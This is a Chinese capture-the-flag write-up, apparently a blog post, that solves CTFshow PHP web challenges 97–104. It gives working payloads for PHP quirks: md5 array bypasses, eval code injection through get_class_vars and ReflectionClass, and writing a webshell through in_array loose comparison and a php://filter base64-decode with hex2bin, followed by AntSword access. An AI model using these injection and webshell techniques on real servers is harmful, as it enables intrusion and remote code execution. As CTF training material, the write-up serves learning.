CTFshow之web97~web104---php特性(2)

目录

web97

web98

web99

 web100

web101

web102

web103

web104


web97

要传入的a跟b不相同,但是对应的md5加密要相同,这。。。但是MD5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL,我们可以利用这个漏洞,POST传参

a[]=1&b[]=5

web98

?是基本上所有语言通用的三元运算符

按照上面三元运算符的逻辑来看,不能直接GET传入

HTTP_FLAG=flag

因为第一个三元运算符成立就会让$_GET=&$_POST,会导致原本get传参的内容失效而等于POST传参的内容,所以我们可以随便GET传一个参数,再POST传参

HTTP_FLAG=flag

即可highlight_file($flag),因为$flag不是php文件,所以会导致报错而回显$flag的值

web99

先看一下陌生函数

array(),是空数组定义,题中定义了$allow为空数组

0x36d,其十进制为877

rand(),返回随机整数

array_push(),是向数组尾部插入新的值

file_put_contents(),写文件

因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去,因为都是从1开始随机取整,我们可以直接让n=1.php这样猜中的概率大一些,不中就选其他吧

 然后上蚁剑连接,就能拿到flag了

 web100

 这里呢=的优先级是比and跟or高的,所以v0直接就赋值v1了,可以构造一个

eval(var_dump(get_class_vars('ctfshow')););

即构造payload

?v1=1&v3=);&v2=var_dump(get_class_vars

0x2d的ascii码是-,替换裹上ctfshow{}就是flag了 

web101

过滤了好多符号,但是空格没过滤掉,可以用Reflectionclass反射函数包涵类信息,直接构造payload

?v1=1&v2=echo new Reflectionclass&v3=;

根据提示,flag得将0x2d替换成-,后面一位还得爆破,爆出是2

ctfshow{76d3705a-00c7-45ec-891d-cea90f6fc5c2}

web102

 这里的call_user_func是调用函数的意思

fun("参数"),相当于call_user_func(fun,"参数")

传参v2必须是纯数字字符串,而且v2还得是写入文件的内容,v3可以用伪协议转码写入

php://filter/write=convert.base64-decode/resource=1.php

上面的意思是base64解码后写入1.php文件,纯数字可以用ascii码转十六进制绕过,v1可以设置个十六进制转ascii码函数hex2bin(),经过尝试发现了能用的命令

<?=`cat *`;       //打开当前目录的所有文件

转为base64为

PD89YGNhdCAqYDs

再转化为ascii的十六进制

5044383959474e6864434171594473

因为函数会去掉前面两位字符串,所以构造payload,get传参

v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php

post传参

v1=hex2bin

然后访问1.php再查看页面源码,即可发现flag

web103

正则把含有p,h,p的字符串都过掉了,不过不影响我们构造payload,解法跟上题一样,GET传参

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST传参

v1=hex2bin

 访问1.php并查看源码即可拿到flag

web104

shal函数就是计算散列函数,可以理解为一个不可逆的加密函数,这题没啥过滤,直接传两个相同的参数就好了,构造payload

GET传参:
v2=123
POST传参:
v1=123
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值